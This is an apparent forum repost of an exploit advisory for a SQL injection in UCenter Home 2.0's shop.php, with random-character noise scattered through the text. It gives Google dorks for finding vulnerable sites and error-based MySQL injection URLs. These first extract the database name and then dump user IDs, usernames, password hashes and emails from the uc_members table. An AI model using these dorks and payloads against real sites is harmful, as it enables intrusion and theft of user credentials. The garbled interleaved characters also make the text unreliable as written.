$ M; i5 v6 q, r+ F1 z
__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__
4 }4 ?# G, }5 e& n
1 D$ K& s7 V; _! @7 z% Z 8 c* p3 \" x, g0 V- r
; @1 K: z# w% m5 O5 t*/ Author : KnocKout
5 X: _. N R6 q: I, G2 L4 C2 U4 f: M9 u& F. R8 t# L) l
*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers
, f' I7 f) ?# n$ R- C0 J5 O# h7 F7 X. Z, L
*/ Contact: knockoutr@msn.com
4 s3 m! q& ]0 L7 {
: y% L4 `+ a$ p" m*/ Cyber-Warrior.org/CWKnocKout 8 B/ }6 k% ~: s, D, C1 d8 N( _
! ]5 m8 s1 j1 q' K6 X__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== / q S4 Q& w% x/ b( Z) ^! z5 u
+ K1 u- N6 a0 D& X6 m$ }$ b9 x% cScript : UCenter Home
5 x9 V( e) h: t6 |# D( X( b( v/ W- E. m9 Q
Version : 2.0 , \% H3 Y2 V6 Y) X; r' n: B# A- a
* z2 x9 D$ c8 B' _Script HomePage : http://u.discuz.net/ $ K- e3 I! \! b' x
E: z( z5 a! ~; S2 c' n( j% T__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== , _* B- l" l6 q' X( b, u
. g; f- I" N) j$ T/ P- @9 p- q8 Q6 T9 P
Dork : Powered by UCenter inurl:shop.php?ac=view . K S+ f) W# k/ U/ \* N8 a6 t
R3 f# o/ ?' j+ `Dork 2 : inurl:shop.php?ac=view&shopid=
$ ]2 F( A; }. O: @
3 G8 @8 F* j8 D2 v6 S__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== # R, t% ]2 O& l4 Z m' A: G8 F
( C4 L% P( ]4 A* iVuln file : Shop.php
7 k& [8 Y$ o' f# j2 H7 O+ R8 r; Z4 s6 A% r$ K F
value's : (?)ac=view&shopid= , q% X. c" D. A2 d2 y# F9 d
' i! o9 j( K P5 xVulnerable Style : SQL Injection (MySQL Error Based)
( E& J) O9 ?8 z/ c9 }: Q3 j& f& r: Q; Y5 G% N
Need Metarials : Hex Conversion
! B8 u$ j1 z9 m- M! \- L. @ s _. v. D: Z/ k3 _
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== . p7 g4 n" e5 o# K$ k0 e6 D" g
$ M$ {4 |( J" v3 H, u7 ]
Your Need victim Database name. $ ^5 ?/ O+ _$ C" f9 D3 U! @. J' u
: {9 q3 V! r9 k- g/ q8 H3 e
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 5 n: A$ i8 U6 L5 w
/ L0 @8 y) \& ]: h
..
8 [0 [$ q9 g' l2 E
: X9 t9 e" y1 p& b7 R0 {* ~2 vDB : Okey. / r( \* q9 L# Q
% F8 G {: N. q8 tyour edit DB `[TARGET DB NAME]`
' O; @! H3 _- T
0 ?0 R0 W" a6 \2 J! ~Example : 'hiwir1_ucenter' # a" q3 p- I( B- b1 Q! \' K4 g# X* [
( U: t3 b* v% L6 Y/ v; oEdit : Okey. , S1 Z' l1 W' p$ \/ w
& _0 C% |. s, V2 ~# k9 M, s, I6 P2 w& KYour use Hex conversion. And edit Your SQL Injection Exploit.. 5 o/ [! J6 @5 C* b. N# A2 j$ @ ~/ \
l5 P! L; c3 c( P3 b9 h! A5 N }
5 m# G( v* L3 I0 h
0 T+ Y: `4 e* d( {1 z
Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 . I& Q- p& r, M3 h: O, B4 ~
|
发表于 2013-2-27 21:31:31
收藏
支持
反对